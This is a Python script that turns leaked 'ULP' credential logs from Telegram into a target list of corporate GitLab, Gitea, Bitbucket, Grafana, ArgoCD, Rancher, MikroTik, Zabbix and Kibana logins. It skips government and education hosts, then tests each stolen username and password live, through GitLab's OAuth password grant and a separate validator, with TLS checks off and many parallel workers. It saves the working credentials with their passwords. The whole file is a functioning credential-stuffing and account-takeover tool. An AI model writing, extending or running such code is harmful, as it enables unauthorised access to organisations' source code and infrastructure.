#!/usr/bin/env python3
"""Slim per-file pipeline for WingsCloud ULP batches (docs/log-source-discovery.md §8).

For a source like JULY-2 (expects findings/telegram_logs/wingscloud/<SOURCE>/*.txt):
  1. ulp_to_tsv → findings/data/WINGSCLOUD-ULP-<SOURCE>.tsv
  2. corp_search → findings/data/corp_search_WINGSCLOUD-ULP-<SOURCE>_results.md
  3. extract self-hosted Git sign-ins (gitlab/gitea/bitbucket) + other platforms
     (argocd/grafana/rancher/mikrotik/zabbix/kibana) with pw
  4. L1: OAuth password grant for gitlab; corp_validate (fixed checkers) for others
  5. Report: findings/data/WINGSCLOUD-ULP-<SOURCE>_slim_valid.json + stdout summary

Skips: probe_rce (≈0 yield), scan_secrets (auto-revoked). Idempotent: existing
outputs are reused.

Usage: python3 scripts/wingscloud_slim.py --source JULY-2 [--skip-l1]
"""
import argparse
import csv
import json
import os
import re
import ssl
import subprocess
import sys
import urllib.error
import urllib.parse
import urllib.request
from collections import Counter
from concurrent.futures import ThreadPoolExecutor
from pathlib import Path

SCRIPT_DIR = Path(__file__).parent
PROJECT_DIR = SCRIPT_DIR.parent
DATA_DIR = PROJECT_DIR / "findings" / "data"
RAW_DIR = PROJECT_DIR / "findings" / "telegram_logs" / "wingscloud"

ROW_RE = re.compile(r'\|\s*\d+\s*\|\s*([^|]+?)\s*\|\s*([^|]+?)\s*\|\s*([^|]*?)\s*\|\s*\d+\s*\|\s*([^|]+?)\s*\|')
EXCLUDE = re.compile(r"\.gov\.|\.gob\.|\.edu\.|\.ac\.|univ-|\.mil|\.jus\.|\.local|\.lan", re.I)
GIT_KW = ("gitlab", "git.", "gitea", "gogs", "bitbucket", "git-", "-git", "git_", "forgejo")
SKIP_GIT = ("gitlab.com", "github.com", "bitbucket.org", "crypto.com", "quicknode",
            "aws.amazon", "credly.com", "atlassian.")
PLAT_KW = {
    "argocd": ["argocd", "argo-cd"],
    "grafana": ["grafana"],
    "rancher": ["rancher"],
    "mikrotik": ["mikrotik"],
    "zabbix": ["zabbix"],
    "kibana": ["kibana"],
}
SKIP_PLAT = ("argoproj.", "grafana.com", "rancher.com", "zabbix.com", "elastic.co")

CTX = ssl.create_default_context()
CTX.check_hostname = False
CTX.verify_mode = ssl.CERT_NONE


def host_of(url: str) -> str:
    from urllib.parse import urlparse
    try:
        return (urlparse(url if "://" in url else "http://" + url).hostname or "").lower()
    except ValueError:
        return ""


def run_step(cmd: list[str], desc: str, out_file: Path | None = None, log_file: Path | None = None):
    print(f"[*] {desc}", flush=True)
    if out_file:
        with out_file.open("w") as fo:
            lo = log_file.open("w") if log_file else subprocess.DEVNULL
            r = subprocess.run(cmd, stdout=fo, stderr=lo)
    else:
        r = subprocess.run(cmd, capture_output=True, text=True)
        if r.returncode != 0:
            print(r.stderr[-500:])
    if r.returncode != 0:
        sys.exit(f"FAILED: {desc}")


class _NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, req, fp, code, msg, headers, newurl):
        return None


_opener = urllib.request.build_opener(_NoRedirect,
                                      urllib.request.HTTPSHandler(context=CTX))


def oauth_l1(base: str, user: str, pw: str):
    """GitLab OAuth password grant L1.

    VALID requires a JSON body containing access_token. A bare HTTP 200 is NOT
    sufficient: urllib converts POST→GET on 301/302, so a redirect to the HTML
    sign-in page returned 200/HTML and produced false VALIDs (2026-07-28,
    found via linnovate/ip6n re-validation — ~70% of http:// entries affected)."""
    data = urllib.parse.urlencode({"grant_type": "password", "username": user,
                                   "password": pw}).encode()
    req = urllib.request.Request(base + "/oauth/token", data=data,
        headers={"Content-Type": "application/x-www-form-urlencoded",
                 "User-Agent": "slim-l1"})
    try:
        with _opener.open(req, timeout=20) as r:
            try:
                d = json.loads(r.read())
            except Exception:
                return "FP_HTML200", ""  # 200 but not JSON — not a token endpoint
            if isinstance(d, dict) and d.get("access_token"):
                return "VALID", ""
            return "NO_TOKEN", ""
    except urllib.error.HTTPError as e:
        if e.code in (301, 302, 303, 307, 308):
            if base.startswith("http://"):
                # retry once with https — many instances redirect http→https
                return oauth_l1("https://" + base[len("http://"):], user, pw)
            return "REDIRECT", ""  # suspect: redirect on https too
        try:
            body = e.read().decode(errors="replace")
        except Exception:
            body = ""  # connection reset/closed while draining error body
        if "invalid_grant" in body:
            return "INVALID", ""
        if "unsupported_grant_type" in body:
            return "NO_ROPC", ""  # instance disabled password grant — NOT valid
        return f"HTTP{e.code}", ""
    except Exception as e:
        return f"ERR:{type(e).__name__}", ""


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--source", required=True, help="e.g. JULY-2")
    ap.add_argument("--skip-l1", action="store_true")
    args = ap.parse_args()
    src = args.source
    sid = f"WINGSCLOUD-ULP-{src.replace('/', '-')}"

    tsv = DATA_DIR / f"{sid}.tsv"
    if not tsv.exists():
        raw = RAW_DIR / src
        if not raw.exists():
            raw = RAW_DIR / f"ULP-{src}"
        if not raw.exists():
            sys.exit(f"raw dir missing: {RAW_DIR}/{src} (or ULP-{src})")
        run_step([sys.executable, str(SCRIPT_DIR / "ulp_to_tsv.py"), str(raw), str(tsv)],
                 f"ulp_to_tsv {src}")
    else:
        print(f"[*] reuse {tsv.name}")

    results_md = DATA_DIR / f"corp_search_{sid}_results.md"
    if not results_md.exists():
        run_step([sys.executable, str(SCRIPT_DIR / "corp_search.py"), "--tsv", str(tsv),
                  "--workers", str(min(8, os.cpu_count() or 1))],
                 f"corp_search {src}", out_file=results_md,
                 log_file=DATA_DIR / f"corp_search_{sid}.log")
    else:
        print(f"[*] reuse {results_md.name}")

    # 3. extract candidates
    git_cands, plat_cands = {}, {}
    for line in results_md.open(errors="ignore"):
        m = ROW_RE.match(line)
        if not m:
            continue
        url, user = m.group(2).strip(), m.group(3).strip()
        u = url.lower()
        h = host_of(url)
        if not h or EXCLUDE.search(h):
            continue
        if ("/users/sign_in" in u or "/user/sign_in" in u) \
                and not any(x in u for x in SKIP_GIT) \
                and any(k in h for k in GIT_KW):
            git_cands[(url, user)] = 1
        if re.search(r"(sign_in|signin|login)", u) and not any(s in h for s in SKIP_PLAT):
            for plat, kws in PLAT_KW.items():
                if any(k in h for k in kws):
                    plat_cands.setdefault((url, user), plat)
    print(f"[*] candidates: git={len(git_cands)} plat={len(plat_cands)}")

    # 4. join pw
    targets = set(git_cands) | set(plat_cands)
    hits = {}
    with tsv.open(errors="ignore") as f:
        for line in f:
            parts = line.rstrip("\n").split("\t")
            if len(parts) < 3 or not parts[2]:
                continue
            key = (parts[0], parts[1])
            if key in targets:
                plat = "gitlab" if key in git_cands else plat_cands[key]
                hits.setdefault(host_of(parts[0]), []).append(
                    {"url": parts[0], "user": parts[1], "pw": parts[2], "label": plat})
    n_creds = sum(len(v) for v in hits.values())
    print(f"[*] with pw: {len(hits)} hosts, {n_creds} creds")

    out = {"source": sid, "gitlab_valid": [], "other_valid": [],
           "stats": {"git_cands": len(git_cands), "plat_cands": len(plat_cands),
                     "with_pw_hosts": len(hits), "with_pw_creds": n_creds}}
    if args.skip_l1:
        json.dump(out, (DATA_DIR / f"{sid}_slim_valid.json").open("w"), indent=1)
        return

    # 5a. gitlab OAuth L1
    tasks = []
    for host, es in hits.items():
        for e in es:
            if e["label"] == "gitlab":
                proto = "https" if e["url"].startswith("https") else "http"
                tasks.append((f"{proto}://{host}", e["user"], e["pw"], host, e["url"]))
    stats = Counter()
    with ThreadPoolExecutor(max_workers=12) as ex:
        for (base, user, pw, host, url), (st, _) in zip(
                tasks, ex.map(lambda t: oauth_l1(*t[:3]), tasks)):
            stats[st] += 1
            if st == "VALID":
                print(f"  [VALID] gitlab {base} {user}")
                out["gitlab_valid"].append({"base": base, "user": user, "pw": pw, "url": url})
    print(f"[*] gitlab L1: {dict(stats)}")

    # 5b. other platforms via corp_validate (fixed checkers)
    plat_json = {h: es for h, es in hits.items()
                 if any(e["label"] != "gitlab" for e in es)}
    if plat_json:
        tmp = Path(f"/tmp/{sid}_plat_creds.json")
        for es in plat_json.values():
            for e in es:
                e["label"] = e["label"]
        tmp.write_text(json.dumps(plat_json))
        log = DATA_DIR / f"{sid}_plat_L1.log"
        run_step([sys.executable, str(SCRIPT_DIR / "corp_validate.py"),
                  "--creds", str(tmp), "--delay", "0.5", "--workers", "12"],
                 f"corp_validate {src}", out_file=log)
        for line in log.open(errors="ignore"):
            m = re.match(r"\s*\[\s*\d+\]\s+(\w+)\s+(\S+)\s+user='([^']*)'\s+-> VALID", line)
            if m:
                out["other_valid"].append(
                    {"platform": m.group(1), "host": m.group(2), "user": m.group(3)})
        print(f"[*] other platforms VALID: {len(out['other_valid'])}")

    json.dump(out, (DATA_DIR / f"{sid}_slim_valid.json").open("w"), indent=1)
    print(f"[+] {sid}: gitlab_valid={len(out['gitlab_valid'])} "
          f"other_valid={len(out['other_valid'])} → {DATA_DIR}/{sid}_slim_valid.json")


if __name__ == "__main__":
    main()